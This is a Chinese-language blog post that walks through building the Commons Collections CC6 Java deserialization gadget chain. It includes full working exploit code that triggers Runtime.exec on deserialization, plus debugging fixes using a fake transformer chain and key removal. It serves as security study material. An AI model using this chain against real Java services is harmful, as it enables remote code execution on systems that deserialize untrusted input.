zoukankan      html  css  js  c++  java
  • 反序列化Gadget学习篇四 CommonCollections6

    这一次来解决前几篇说到的AnnotationInvocationHandler#readObject方法在jdk8u71之后无法使用的问题,情况是导弹的弹头仍然生效,但是负责运送的导弹失效了,所以我们需要找一个新的运送导弹。

    一、利用链寻找

    前面说到我们使用AnnotationInvocationHandler这个类是因为它的readObject方法中队我们初始化好的一个Map调用get(),那现在需要寻找一个新的方法,找gadget一般是反向找,首先看哪个地方调用到了LazyMap.get(),这次找到的类是org.apache.commons.collections.keyvalue.TiedMapEntry
    在其getValue⽅法中调⽤了 this.map.get ,⽽其hashCode⽅法调⽤了getValue⽅法:

    
    import java.io.Serializable;
    import java.util.Map;
    import java.util.Map.Entry;
    import org.apache.commons.collections.KeyValue;
    
    public class TiedMapEntry implements Entry, KeyValue, Serializable {
        private static final long serialVersionUID = -8453869361373831205L;
        private final Map map;
        private final Object key;
    
        public TiedMapEntry(Map map, Object key) {
            this.map = map;
            this.key = key;
        }
    
        public Object getKey() {
            return this.key;
        }
    
        public Object getValue() {
            return this.map.get(this.key);
        }
    
    // ...
        
        public int hashCode() {
            Object value = this.getValue();
            return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
        }
    // ...
    

    下一步要寻找什么地方调用了TiedMapEntry#hashCode()

    ysoserial中,是利⽤java.util.HashSet#readObjectHashMap#put()HashMap#hash(key)最后到TiedMapEntry#hashCode()
    @phith0n的文章中用的是相对简单一些链,从java.util.HashMap#readObject中就可以找到HashMap#hash()

    public class HashMap<K,V> extends AbstractMap<K,V>
        implements Map<K,V>, Cloneable, Serializable {
        
        // ...
        
        static final int hash(Object key) {
            int h;
            return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
        }
    
        // ...
        
        private void readObject(java.io.ObjectInputStream s)
            throws IOException, ClassNotFoundException {
            // ...
            
                s.defaultReadObject();
        
            // ...
                // Read the keys and values, and put the mappings in the HashMap
                for (int i = 0; i < mappings; i++) {
                    @SuppressWarnings("unchecked")
                        K key = (K) s.readObject();
                    @SuppressWarnings("unchecked")
                        V value = (V) s.readObject();
                    putVal(hash(key), key, value, false, false);
                }
            }
        }
    }
    

    构造Gadget

    现在有了前面的经验,我们来直接根据这些信息写Gadget:
    HashMap#readObject --> HashMap#hash() --> TiedMapEntry#hashCode() --> TiedMapEntry#getValue() --> LazyMap#get() 后面和之前一致。
    首先一样构造出恶意的LazyMap:

    Transformer transformer[] = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null , new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
    };
    Transformer transformerChain = new ChainedTransformer(transformer);
    Map innerMap = new HashMap<>();
    
    Map outMap = LazyMap.decorate(innerMap, transformerChain);
    

    下一步构造一个TiedMapEntry,使用构造好的LazyMap初始化:

    TiedMapEntry tme = new TiedMapEntry(outMap, "whatever");
    

    最终我们要发送一个HashMap对象,初始化一个新的HashMap,并把TiedMapEntry作为key:

    TiedMapEntry tme = new TiedMapEntry(outMap, "whatever");
    HashMap map = new HashMap();
    map.put(tme, "whatevedr");
    

    直接序列化发送即可,这里本地复现:

    
    ByteArrayOutputStream barr = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(barr);
    oos.writeObject(map);
    oos.close();
    
    //本地反序列化复现
    System.out.println(barr);
    ByteArrayInputStream bis = new ByteArrayInputStream(barr.toByteArray());
    ObjectInputStream ois = new ObjectInputStream(bis);
    ois.readObject();
    

    执行触发,表面上实现了功能,但是实际上存在问题:

    问题

    在调试查看调用栈的时候发现,代码并没有执行到readObject就停止了,但是仍然弹出了计算器,报错产生在writeObject(),那么如果是实战,会发现无法得到恶意类的序列化数据。简单思考一下就明白,出现了之前说过的问题,直接把恶意的transform链绑定到lazymap上了,可能前面有某个地方调用到了,或者调试器调用到了,导致本地弹出计算器。
    手动调试发现,在new TiedMapEntry时,调试器会触发,弹出计算器。所以我们还要先设置一个假的transform链,最后再通过反射改到真正的恶意链上。
    新增加一个faketransformers

    Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
    

    在map.put后添加通过反射修改ChainedTransformer的字段的代码:

    map.put(tme, "whatevedr");
    Field f = ChainedTransformer.class.getField("iTransformers");
    f.setAccessible(true);
    f.set(transformerChain, transformer);
    

    再执行,发现这次没有报错了,输出了序列化后的数据,但是也不弹出计算器了。继续调试发现在LazyMap#get调用transform的关键函数前的一个if判断:

    因为map中包含一个key名为whatever导致跳过了代码执行部分,但是我们并没有给map增加一个key名为whatever。
    poc代码中和whatever有关联的部分只有三行:

    TiedMapEntry tme = new TiedMapEntry(outMap, "whatever");
    Map map = new HashMap();
    map.put(tme, "valuevalue");
    

    在调试时给LazyMap#get下了断点,重新调试发现在打印序列化数据之前就调用到了这部分,查看调用栈,发现HashMap#put也会调用Hash函数,导致最终的map和预期的不一致:

    outMap多了一个key是whatever:

    因此解决方案就是手动把这个key去掉:

    outMap.remove("whatever");
    

    再次执行成功弹出计算器:

    完整代码:

    package changez.sec;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.HashMap;
    import java.util.Map;
    
    public class CC6 {
        public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
    
            Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
    
            Transformer transformer[] = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null , new Object[0]}),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
            };
            Transformer transformerChain = new ChainedTransformer(faketransformers);
            Map innerMap = new HashMap();
    
            Map outMap = LazyMap.decorate(innerMap, transformerChain);
            TiedMapEntry tme = new TiedMapEntry(outMap, "whatever");
            Map map = new HashMap();
            map.put(tme, "valuevalue");
            // HashMap.put方法也会调用hash,导致触发利用链执行,但是这时候使用的是faketransformers,没有执行命令但是导致数组多了一个key为whatever,最终会导致反序列化时无法执行命令
            // 手动删除这个key保证执行到LazyMap.get()里面的this.factory.transform(key)
            outMap.remove("whatever");
    
            Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
            f.setAccessible(true);
            f.set(transformerChain, transformer);
    
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(barr);
            oos.writeObject(map);
            oos.close();
    
            System.out.println(barr);
            ByteArrayInputStream bis = new ByteArrayInputStream(barr.toByteArray());
            ObjectInputStream ois = new ObjectInputStream(bis);
            ois.readObject();
    
    
        }
    
    }
    
  • 相关阅读:
    学习Extjs4 (21) 简单窗口
    C#启动外部程序的几种方法以及等待外部程序关闭的方法
    linux驱动学习(3)同步、信号量和自旋锁
    andoird webiew使用有道辞典实例
    Linux程序设计——用getopt处理命令行参数(转)
    git,github在windows上的搭建
    sparc芯片验证
    睡了一下午
    UNIX/Linux里统计文件里某个字符出现的次数(转)
    linux和单片机的串口通信
  • 原文地址:https://www.cnblogs.com/chengez/p/CC6.html
Copyright © 2011-2022 走看看